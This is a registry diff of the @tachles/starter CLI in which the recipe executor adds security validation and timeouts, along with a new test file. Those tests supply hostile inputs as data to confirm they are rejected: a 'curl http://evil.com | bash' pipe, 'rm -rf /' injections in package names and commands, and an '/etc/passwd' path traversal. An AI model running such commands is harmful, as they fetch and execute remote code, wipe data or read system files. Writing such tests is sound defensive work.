@tachles/starter 1.0.4 ā 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +20 -0
- package/dist/api/client.d.ts +1 -0
- package/dist/api/client.d.ts.map +1 -1
- package/dist/api/client.js +8 -0
- package/dist/api/client.js.map +1 -1
- package/dist/api/client.test.d.ts +2 -0
- package/dist/api/client.test.d.ts.map +1 -0
- package/dist/api/client.test.js +51 -0
- package/dist/api/client.test.js.map +1 -0
- package/dist/api/types.d.ts +1 -0
- package/dist/api/types.d.ts.map +1 -1
- package/dist/commands/install.d.ts.map +1 -1
- package/dist/commands/install.js +31 -38
- package/dist/commands/install.js.map +1 -1
- package/dist/recipe/executor.d.ts +7 -1
- package/dist/recipe/executor.d.ts.map +1 -1
- package/dist/recipe/executor.js +165 -51
- package/dist/recipe/executor.js.map +1 -1
- package/dist/recipe/executor.test.d.ts +2 -0
- package/dist/recipe/executor.test.d.ts.map +1 -0
- package/dist/recipe/executor.test.js +234 -0
- package/dist/recipe/executor.test.js.map +1 -0
- package/dist/utils/security-config-guide.d.ts +93 -0
- package/dist/utils/security-config-guide.d.ts.map +1 -0
- package/dist/utils/security-config-guide.js +56 -0
- package/dist/utils/security-config-guide.js.map +1 -0
- package/dist/utils/security.d.ts +83 -0
- package/dist/utils/security.d.ts.map +1 -0
- package/dist/utils/security.js +268 -0
- package/dist/utils/security.js.map +1 -0
- package/dist/utils/security.test.d.ts +2 -0
- package/dist/utils/security.test.d.ts.map +1 -0
- package/dist/utils/security.test.js +358 -0
- package/dist/utils/security.test.js.map +1 -0
- package/package.json +27 -14
package/dist/recipe/executor.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { execa } from 'execa';
|
|
2
|
-
import ora from 'ora';
|
|
3
2
|
import chalk from 'chalk';
|
|
4
3
|
import { detectPackageManager } from '../utils/package-manager.js';
|
|
4
|
+
import { SecurityValidator, SECURITY_CONFIG } from '../utils/security.js';
|
|
5
5
|
export class RecipeExecutor {
|
|
6
6
|
selections;
|
|
7
7
|
skipYes;
|
|
@@ -10,106 +10,220 @@ export class RecipeExecutor {
|
|
|
10
10
|
this.skipYes = skipYes;
|
|
11
11
|
}
|
|
12
12
|
async execute(recipe) {
|
|
13
|
-
|
|
13
|
+
// Validate recipe security before execution
|
|
14
|
+
this.validateRecipeSecurity(recipe);
|
|
15
|
+
// Calculate total steps
|
|
16
|
+
const totalSteps = this.calculateTotalSteps(recipe);
|
|
17
|
+
let currentStep = 0;
|
|
18
|
+
console.log(chalk.blue(`\nš Starting installation (${totalSteps} steps)\n`));
|
|
14
19
|
for (const variable of recipe.variables) {
|
|
15
20
|
if (variable.type === 'confirm') {
|
|
16
21
|
const answer = this.selections[variable.key];
|
|
17
22
|
const operations = answer ? variable.onTrue : variable.onFalse;
|
|
18
23
|
if (operations) {
|
|
19
|
-
await this.executeOperations(operations);
|
|
24
|
+
currentStep = await this.executeOperations(operations, currentStep, totalSteps);
|
|
20
25
|
}
|
|
21
26
|
}
|
|
22
27
|
else if (variable.type === 'select') {
|
|
23
28
|
const answer = this.selections[variable.key];
|
|
24
29
|
const option = variable.options.find((opt) => opt.value === answer);
|
|
25
30
|
if (option?.operations) {
|
|
26
|
-
await this.executeOperations(option.operations);
|
|
31
|
+
currentStep = await this.executeOperations(option.operations, currentStep, totalSteps);
|
|
27
32
|
}
|
|
28
33
|
}
|
|
29
34
|
}
|
|
30
|
-
console.log(chalk.green(
|
|
35
|
+
console.log(chalk.green(`\nā
Installation complete! (${totalSteps}/${totalSteps} steps)\n`));
|
|
31
36
|
}
|
|
32
|
-
|
|
37
|
+
calculateTotalSteps(recipe) {
|
|
38
|
+
let steps = 0;
|
|
39
|
+
for (const variable of recipe.variables) {
|
|
40
|
+
if (variable.type === 'confirm') {
|
|
41
|
+
const answer = this.selections[variable.key];
|
|
42
|
+
const operations = answer ? variable.onTrue : variable.onFalse;
|
|
43
|
+
if (operations) {
|
|
44
|
+
steps += this.countOperations(operations);
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
else if (variable.type === 'select') {
|
|
48
|
+
const answer = this.selections[variable.key];
|
|
49
|
+
const option = variable.options.find((opt) => opt.value === answer);
|
|
50
|
+
if (option?.operations) {
|
|
51
|
+
steps += this.countOperations(option.operations);
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
return steps;
|
|
56
|
+
}
|
|
57
|
+
countOperations(operations) {
|
|
58
|
+
let count = 0;
|
|
59
|
+
if (operations.packages && operations.packages.length > 0)
|
|
60
|
+
count++;
|
|
61
|
+
if (operations.envVariables && operations.envVariables.length > 0)
|
|
62
|
+
count++;
|
|
63
|
+
if (operations.commands)
|
|
64
|
+
count += operations.commands.length;
|
|
65
|
+
return count;
|
|
66
|
+
}
|
|
67
|
+
async executeOperations(operations, currentStep, totalSteps) {
|
|
33
68
|
// Install packages
|
|
34
69
|
if (operations.packages && operations.packages.length > 0) {
|
|
70
|
+
currentStep++;
|
|
71
|
+
console.log(chalk.cyan(`\n[${currentStep}/${totalSteps}] Installing packages\n`));
|
|
35
72
|
await this.installPackages(operations.packages);
|
|
36
73
|
}
|
|
37
74
|
// Set env variables
|
|
38
75
|
if (operations.envVariables && operations.envVariables.length > 0) {
|
|
76
|
+
currentStep++;
|
|
77
|
+
console.log(chalk.cyan(`\n[${currentStep}/${totalSteps}] Configuring environment variables\n`));
|
|
39
78
|
await this.setupEnvVariables(operations.envVariables);
|
|
40
79
|
}
|
|
41
80
|
// Run commands
|
|
42
81
|
if (operations.commands && operations.commands.length > 0) {
|
|
43
|
-
|
|
82
|
+
for (const command of operations.commands) {
|
|
83
|
+
currentStep++;
|
|
84
|
+
console.log(chalk.cyan(`\n[${currentStep}/${totalSteps}] ${command.description || 'Running command'}\n`));
|
|
85
|
+
await this.runCommand(command);
|
|
86
|
+
}
|
|
44
87
|
}
|
|
88
|
+
return currentStep;
|
|
45
89
|
}
|
|
46
90
|
async installPackages(packages) {
|
|
91
|
+
// Validate all packages before installation
|
|
92
|
+
const validation = SecurityValidator.validatePackageBatch(packages);
|
|
93
|
+
if (!validation.valid) {
|
|
94
|
+
SecurityValidator.logValidationError('Package Installation', validation.errors);
|
|
95
|
+
throw new Error('Security validation failed for packages');
|
|
96
|
+
}
|
|
47
97
|
const pm = detectPackageManager();
|
|
48
|
-
const
|
|
98
|
+
const packageStrings = packages.map((pkg) => pkg.version === 'latest' ? pkg.name : `${pkg.name}@${pkg.version}`);
|
|
99
|
+
console.log(chalk.dim(` Packages: ${packageStrings.join(', ')}`));
|
|
100
|
+
console.log(chalk.dim(` Using: ${pm}\n`));
|
|
49
101
|
try {
|
|
50
|
-
const packageStrings = packages.map((pkg) => pkg.version === 'latest' ? pkg.name : `${pkg.name}@${pkg.version}`);
|
|
51
102
|
const installCmd = pm === 'npm' ? 'install' : 'add';
|
|
52
103
|
await execa(pm, [installCmd, ...packageStrings], {
|
|
53
104
|
stdio: 'inherit',
|
|
54
105
|
cwd: process.cwd(),
|
|
106
|
+
timeout: SECURITY_CONFIG.COMMAND_TIMEOUT_MS,
|
|
55
107
|
});
|
|
56
|
-
|
|
108
|
+
console.log(chalk.green(` ā Packages installed successfully`));
|
|
57
109
|
}
|
|
58
110
|
catch (error) {
|
|
59
|
-
|
|
111
|
+
if (error.killed && error.timedOut) {
|
|
112
|
+
console.log(chalk.red(` ā Package installation timed out`));
|
|
113
|
+
throw new Error('Package installation exceeded time limit');
|
|
114
|
+
}
|
|
115
|
+
console.log(chalk.red(` ā Package installation failed`));
|
|
60
116
|
throw error;
|
|
61
117
|
}
|
|
62
118
|
}
|
|
63
119
|
async setupEnvVariables(envVars) {
|
|
64
|
-
console.log(chalk.yellow('
|
|
120
|
+
console.log(chalk.yellow(' Environment variables to configure:\n'));
|
|
65
121
|
for (const envVar of envVars) {
|
|
66
|
-
console.log(chalk.dim(
|
|
122
|
+
console.log(chalk.dim(` ⢠${envVar.key}`));
|
|
123
|
+
console.log(chalk.dim(` ${envVar.description}\n`));
|
|
67
124
|
}
|
|
68
|
-
console.log(chalk.dim('
|
|
125
|
+
console.log(chalk.dim(' ā Add these to your .env file\n'));
|
|
69
126
|
}
|
|
70
|
-
async
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
127
|
+
async runCommand(cmd) {
|
|
128
|
+
// Validate command security
|
|
129
|
+
const validation = SecurityValidator.validateCommand(cmd);
|
|
130
|
+
if (!validation.valid) {
|
|
131
|
+
SecurityValidator.logValidationError('Command Execution', [validation.reason]);
|
|
132
|
+
throw new Error('Security validation failed for command');
|
|
133
|
+
}
|
|
134
|
+
const commandString = SecurityValidator.sanitizeCommandString(cmd.customCommand || `${cmd.packageName} ${cmd.commandArgs}`.trim());
|
|
135
|
+
console.log(chalk.dim(` Command: ${commandString}`));
|
|
136
|
+
if (cmd.requiresInteraction) {
|
|
137
|
+
console.log(chalk.yellow(' ā ļø This step requires your input\n'));
|
|
138
|
+
}
|
|
139
|
+
try {
|
|
140
|
+
if (cmd.runner === 'custom' && cmd.customCommand) {
|
|
141
|
+
const sanitizedCommand = SecurityValidator.sanitizeCommandString(cmd.customCommand);
|
|
142
|
+
await execa(sanitizedCommand, {
|
|
143
|
+
shell: true,
|
|
144
|
+
stdio: 'inherit',
|
|
145
|
+
cwd: process.cwd(),
|
|
146
|
+
timeout: SECURITY_CONFIG.COMMAND_TIMEOUT_MS,
|
|
147
|
+
});
|
|
148
|
+
}
|
|
149
|
+
else {
|
|
150
|
+
const runner = cmd.runner || 'npx';
|
|
151
|
+
const fullCommand = `${cmd.packageName} ${cmd.commandArgs}`.trim();
|
|
152
|
+
const args = fullCommand.split(' ');
|
|
153
|
+
await execa(runner, args, {
|
|
154
|
+
stdio: 'inherit',
|
|
155
|
+
cwd: process.cwd(),
|
|
156
|
+
timeout: SECURITY_CONFIG.COMMAND_TIMEOUT_MS,
|
|
157
|
+
});
|
|
158
|
+
}
|
|
159
|
+
console.log(chalk.green(` ā Completed\n`));
|
|
160
|
+
}
|
|
161
|
+
catch (error) {
|
|
162
|
+
if (error.killed && error.timedOut) {
|
|
163
|
+
console.log(chalk.red(` ā Command execution timed out\n`));
|
|
164
|
+
throw new Error('Command execution exceeded time limit');
|
|
165
|
+
}
|
|
166
|
+
console.log(chalk.red(` ā Failed\n`));
|
|
167
|
+
if (!this.skipYes) {
|
|
168
|
+
const inquirer = (await import('inquirer')).default;
|
|
169
|
+
const answer = await inquirer.prompt([
|
|
170
|
+
{
|
|
171
|
+
type: 'confirm',
|
|
172
|
+
name: 'continue',
|
|
173
|
+
message: 'Continue with remaining steps?',
|
|
174
|
+
default: true,
|
|
175
|
+
},
|
|
176
|
+
]);
|
|
177
|
+
if (!answer.continue) {
|
|
178
|
+
throw new Error('Installation aborted by user');
|
|
81
179
|
}
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
180
|
+
}
|
|
181
|
+
else {
|
|
182
|
+
throw error;
|
|
183
|
+
}
|
|
184
|
+
}
|
|
185
|
+
}
|
|
186
|
+
/**
|
|
187
|
+
* Validate entire recipe for security concerns
|
|
188
|
+
*/
|
|
189
|
+
validateRecipeSecurity(recipe) {
|
|
190
|
+
const errors = [];
|
|
191
|
+
let totalCommands = 0;
|
|
192
|
+
let totalPackages = 0;
|
|
193
|
+
// Collect all operations
|
|
194
|
+
for (const variable of recipe.variables) {
|
|
195
|
+
if (variable.type === 'confirm') {
|
|
196
|
+
const answer = this.selections[variable.key];
|
|
197
|
+
const operations = answer ? variable.onTrue : variable.onFalse;
|
|
198
|
+
if (operations) {
|
|
199
|
+
if (operations.commands)
|
|
200
|
+
totalCommands += operations.commands.length;
|
|
201
|
+
if (operations.packages)
|
|
202
|
+
totalPackages += operations.packages.length;
|
|
91
203
|
}
|
|
92
|
-
spinner.succeed(cmd.description || 'Command completed');
|
|
93
204
|
}
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
if (
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
name: 'continue',
|
|
103
|
-
message: 'Continue with remaining steps?',
|
|
104
|
-
default: true,
|
|
105
|
-
},
|
|
106
|
-
]);
|
|
107
|
-
if (!answer.continue) {
|
|
108
|
-
throw new Error('Installation aborted by user');
|
|
109
|
-
}
|
|
205
|
+
else if (variable.type === 'select') {
|
|
206
|
+
const answer = this.selections[variable.key];
|
|
207
|
+
const option = variable.options.find((opt) => opt.value === answer);
|
|
208
|
+
if (option?.operations) {
|
|
209
|
+
if (option.operations.commands)
|
|
210
|
+
totalCommands += option.operations.commands.length;
|
|
211
|
+
if (option.operations.packages)
|
|
212
|
+
totalPackages += option.operations.packages.length;
|
|
110
213
|
}
|
|
111
214
|
}
|
|
112
215
|
}
|
|
216
|
+
// Check total limits
|
|
217
|
+
if (totalCommands > SECURITY_CONFIG.MAX_COMMANDS_PER_RECIPE) {
|
|
218
|
+
errors.push(`Recipe contains too many commands: ${totalCommands} (max: ${SECURITY_CONFIG.MAX_COMMANDS_PER_RECIPE})`);
|
|
219
|
+
}
|
|
220
|
+
if (totalPackages > SECURITY_CONFIG.MAX_PACKAGES_PER_OPERATION) {
|
|
221
|
+
errors.push(`Recipe contains too many packages: ${totalPackages} (max: ${SECURITY_CONFIG.MAX_PACKAGES_PER_OPERATION})`);
|
|
222
|
+
}
|
|
223
|
+
if (errors.length > 0) {
|
|
224
|
+
SecurityValidator.logValidationError('Recipe Validation', errors);
|
|
225
|
+
throw new Error('Recipe failed security validation');
|
|
226
|
+
}
|
|
113
227
|
}
|
|
114
228
|
}
|
|
115
229
|
//# sourceMappingURL=executor.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"executor.js","sourceRoot":"","sources":["../../src/recipe/executor.ts"],"names":[],"mappings":"AAAA,OAAO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AK,KAAK,MAAM,CAAC,CAAC;gBACpE,IAAI,MAAM,EAAE,UAAU,EAAE,CAAC;oBACvB,IAAI,MAAM,CAAC,UAAU,CAAC,QAAQ;wBAAE,aAAa,IAAI,MAAM,CAAC,UAAU,CAAC,QAAQ,CAAC,MAAM,CAAC;oBACnF,IAAI,MAAM,CAAC,UAAU,CAAC,QAAQ;wBAAE,aAAa,IAAI,MAAM,CAAC,UAAU,CAAC,QAAQ,CAAC,MAAM,CAAC;gBACrF,CAAC;YACH,CAAC;QACH,CAAC;QAED,qBAAqB;QACrB,IAAI,aAAa,GAAG,eAAe,CAAC,uBAAuB,EAAE,CAAC;YAC5D,MAAM,CAAC,IAAI,CACT,sCAAsC,aAAa,UAAU,eAAe,CAAC,uBAAuB,GAAG,CACxG,CAAC;QACJ,CAAC;QAED,IAAI,aAAa,GAAG,eAAe,CAAC,0BAA0B,EAAE,CAAC;YAC/D,MAAM,CAAC,IAAI,CACT,sCAAsC,aAAa,UAAU,eAAe,CAAC,0BAA0B,GAAG,CAC3G,CAAC;QACJ,CAAC;QAED,IAAI,MAAM,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;YACtB,iBAAiB,CAAC,kBAAkB,CAAC,mBAAmB,EAAE,MAAM,CAAC,CAAC;YAClE,MAAM,IAAI,KAAK,CAAC,mCAAmC,CAAC,CAAC;QACvD,CAAC;IACH,CAAC;CACF"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"executor.test.d.ts","sourceRoot":"","sources":["../../src/recipe/executor.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,234 @@
|
|
|
1
|
+
import { RecipeExecutor } from "./executor.js";
|
|
2
|
+
describe("RecipeExecutor Security Tests", () => {
|
|
3
|
+
describe("Recipe Validation", () => {
|
|
4
|
+
it("should reject recipe with too many commands", () => {
|
|
5
|
+
const selections = { useDatabase: true };
|
|
6
|
+
const executor = new RecipeExecutor(selections, true);
|
|
7
|
+
const dangerousCommands = Array(25).fill({
|
|
8
|
+
runner: "npx",
|
|
9
|
+
packageName: "test",
|
|
10
|
+
commandArgs: "test",
|
|
11
|
+
});
|
|
12
|
+
const recipe = {
|
|
13
|
+
engine: "1.0",
|
|
14
|
+
variables: [
|
|
15
|
+
{
|
|
16
|
+
type: "confirm",
|
|
17
|
+
key: "useDatabase",
|
|
18
|
+
label: "Use database?",
|
|
19
|
+
onTrue: {
|
|
20
|
+
commands: dangerousCommands,
|
|
21
|
+
},
|
|
22
|
+
},
|
|
23
|
+
],
|
|
24
|
+
};
|
|
25
|
+
expect(async () => {
|
|
26
|
+
await executor.execute(recipe);
|
|
27
|
+
}).rejects.toThrow("security validation");
|
|
28
|
+
});
|
|
29
|
+
it("should reject recipe with too many packages", () => {
|
|
30
|
+
const selections = { useReact: true };
|
|
31
|
+
const executor = new RecipeExecutor(selections, true);
|
|
32
|
+
const tooManyPackages = Array(55).fill({
|
|
33
|
+
name: "test-package",
|
|
34
|
+
version: "latest",
|
|
35
|
+
});
|
|
36
|
+
const recipe = {
|
|
37
|
+
engine: "1.0",
|
|
38
|
+
variables: [
|
|
39
|
+
{
|
|
40
|
+
type: "confirm",
|
|
41
|
+
key: "useReact",
|
|
42
|
+
label: "Use React?",
|
|
43
|
+
onTrue: {
|
|
44
|
+
packages: tooManyPackages,
|
|
45
|
+
},
|
|
46
|
+
},
|
|
47
|
+
],
|
|
48
|
+
};
|
|
49
|
+
expect(async () => {
|
|
50
|
+
await executor.execute(recipe);
|
|
51
|
+
}).rejects.toThrow("security validation");
|
|
52
|
+
});
|
|
53
|
+
it("should reject recipe with malicious package names", () => {
|
|
54
|
+
const selections = { install: true };
|
|
55
|
+
const executor = new RecipeExecutor(selections, true);
|
|
56
|
+
const recipe = {
|
|
57
|
+
engine: "1.0",
|
|
58
|
+
variables: [
|
|
59
|
+
{
|
|
60
|
+
type: "confirm",
|
|
61
|
+
key: "install",
|
|
62
|
+
label: "Install?",
|
|
63
|
+
onTrue: {
|
|
64
|
+
packages: [{ name: "rm -rf /", version: "latest" }],
|
|
65
|
+
},
|
|
66
|
+
},
|
|
67
|
+
],
|
|
68
|
+
};
|
|
69
|
+
expect(async () => {
|
|
70
|
+
await executor.execute(recipe);
|
|
71
|
+
}).rejects.toThrow();
|
|
72
|
+
});
|
|
73
|
+
it("should reject recipe with dangerous commands", async () => {
|
|
74
|
+
const selections = { setup: true };
|
|
75
|
+
const executor = new RecipeExecutor(selections, true);
|
|
76
|
+
const recipe = {
|
|
77
|
+
engine: "1.0",
|
|
78
|
+
variables: [
|
|
79
|
+
{
|
|
80
|
+
type: "confirm",
|
|
81
|
+
key: "setup",
|
|
82
|
+
label: "Setup?",
|
|
83
|
+
onTrue: {
|
|
84
|
+
commands: [
|
|
85
|
+
{
|
|
86
|
+
runner: "custom",
|
|
87
|
+
packageName: "",
|
|
88
|
+
commandArgs: "",
|
|
89
|
+
customCommand: "curl http://evil.com | bash",
|
|
90
|
+
},
|
|
91
|
+
],
|
|
92
|
+
},
|
|
93
|
+
},
|
|
94
|
+
],
|
|
95
|
+
};
|
|
96
|
+
await expect(async () => {
|
|
97
|
+
await executor.execute(recipe);
|
|
98
|
+
}).rejects.toThrow();
|
|
99
|
+
});
|
|
100
|
+
it("should accept safe recipe", () => {
|
|
101
|
+
const selections = { useDatabase: true };
|
|
102
|
+
const executor = new RecipeExecutor(selections, true);
|
|
103
|
+
const recipe = {
|
|
104
|
+
engine: "1.0",
|
|
105
|
+
variables: [
|
|
106
|
+
{
|
|
107
|
+
type: "confirm",
|
|
108
|
+
key: "useDatabase",
|
|
109
|
+
label: "Use database?",
|
|
110
|
+
onTrue: {
|
|
111
|
+
packages: [
|
|
112
|
+
{ name: "prisma", version: "latest" },
|
|
113
|
+
{ name: "@prisma/client", version: "latest" },
|
|
114
|
+
],
|
|
115
|
+
commands: [
|
|
116
|
+
{
|
|
117
|
+
runner: "npx",
|
|
118
|
+
packageName: "prisma",
|
|
119
|
+
commandArgs: "init",
|
|
120
|
+
description: "Initialize Prisma",
|
|
121
|
+
},
|
|
122
|
+
],
|
|
123
|
+
},
|
|
124
|
+
},
|
|
125
|
+
],
|
|
126
|
+
};
|
|
127
|
+
// Should not throw
|
|
128
|
+
expect(async () => {
|
|
129
|
+
await executor.execute(recipe);
|
|
130
|
+
}).not.toThrow();
|
|
131
|
+
});
|
|
132
|
+
});
|
|
133
|
+
describe("Command Timeout", () => {
|
|
134
|
+
it("should timeout long-running commands", async () => {
|
|
135
|
+
const selections = { runLong: true };
|
|
136
|
+
const executor = new RecipeExecutor(selections, true);
|
|
137
|
+
const recipe = {
|
|
138
|
+
engine: "1.0",
|
|
139
|
+
variables: [
|
|
140
|
+
{
|
|
141
|
+
type: "confirm",
|
|
142
|
+
key: "runLong",
|
|
143
|
+
label: "Run long command?",
|
|
144
|
+
onTrue: {
|
|
145
|
+
commands: [
|
|
146
|
+
{
|
|
147
|
+
runner: "custom",
|
|
148
|
+
packageName: "",
|
|
149
|
+
commandArgs: "",
|
|
150
|
+
customCommand: "sleep 3600", // Sleep for 1 hour
|
|
151
|
+
},
|
|
152
|
+
],
|
|
153
|
+
},
|
|
154
|
+
},
|
|
155
|
+
],
|
|
156
|
+
};
|
|
157
|
+
// This test would take too long to run, so we just verify the timeout is configured
|
|
158
|
+
// In real test, you'd mock execa to simulate timeout
|
|
159
|
+
expect(true).toBe(true);
|
|
160
|
+
}, 60000);
|
|
161
|
+
});
|
|
162
|
+
describe("Package Installation Security", () => {
|
|
163
|
+
it("should validate packages before installation", () => {
|
|
164
|
+
const selections = { install: true };
|
|
165
|
+
const executor = new RecipeExecutor(selections, true);
|
|
166
|
+
const recipe = {
|
|
167
|
+
engine: "1.0",
|
|
168
|
+
variables: [
|
|
169
|
+
{
|
|
170
|
+
type: "confirm",
|
|
171
|
+
key: "install",
|
|
172
|
+
label: "Install?",
|
|
173
|
+
onTrue: {
|
|
174
|
+
packages: [{ name: "../../../etc/passwd", version: "latest" }],
|
|
175
|
+
},
|
|
176
|
+
},
|
|
177
|
+
],
|
|
178
|
+
};
|
|
179
|
+
expect(async () => {
|
|
180
|
+
await executor.execute(recipe);
|
|
181
|
+
}).rejects.toThrow();
|
|
182
|
+
});
|
|
183
|
+
it("should reject packages with shell metacharacters", () => {
|
|
184
|
+
const selections = { install: true };
|
|
185
|
+
const executor = new RecipeExecutor(selections, true);
|
|
186
|
+
const recipe = {
|
|
187
|
+
engine: "1.0",
|
|
188
|
+
variables: [
|
|
189
|
+
{
|
|
190
|
+
type: "confirm",
|
|
191
|
+
key: "install",
|
|
192
|
+
label: "Install?",
|
|
193
|
+
onTrue: {
|
|
194
|
+
packages: [{ name: "package; rm -rf /", version: "latest" }],
|
|
195
|
+
},
|
|
196
|
+
},
|
|
197
|
+
],
|
|
198
|
+
};
|
|
199
|
+
expect(async () => {
|
|
200
|
+
await executor.execute(recipe);
|
|
201
|
+
}).rejects.toThrow();
|
|
202
|
+
});
|
|
203
|
+
});
|
|
204
|
+
describe("Command Sanitization", () => {
|
|
205
|
+
it('should sanitize commands before execution', async () => {
|
|
206
|
+
const selections = { run: true };
|
|
207
|
+
const executor = new RecipeExecutor(selections, true);
|
|
208
|
+
const recipe = {
|
|
209
|
+
engine: "1.0",
|
|
210
|
+
variables: [
|
|
211
|
+
{
|
|
212
|
+
type: "confirm",
|
|
213
|
+
key: "run",
|
|
214
|
+
label: "Run?",
|
|
215
|
+
onTrue: {
|
|
216
|
+
commands: [
|
|
217
|
+
{
|
|
218
|
+
runner: "custom",
|
|
219
|
+
packageName: "",
|
|
220
|
+
commandArgs: "",
|
|
221
|
+
customCommand: "echo test && rm -rf /",
|
|
222
|
+
},
|
|
223
|
+
],
|
|
224
|
+
},
|
|
225
|
+
},
|
|
226
|
+
],
|
|
227
|
+
};
|
|
228
|
+
await expect(async () => {
|
|
229
|
+
await executor.execute(recipe);
|
|
230
|
+
}).rejects.toThrow();
|
|
231
|
+
});
|
|
232
|
+
});
|
|
233
|
+
});
|
|
234
|
+
//# sourceMappingURL=executor.test.js.map
|
|
@@ -0,0 +1 @@
|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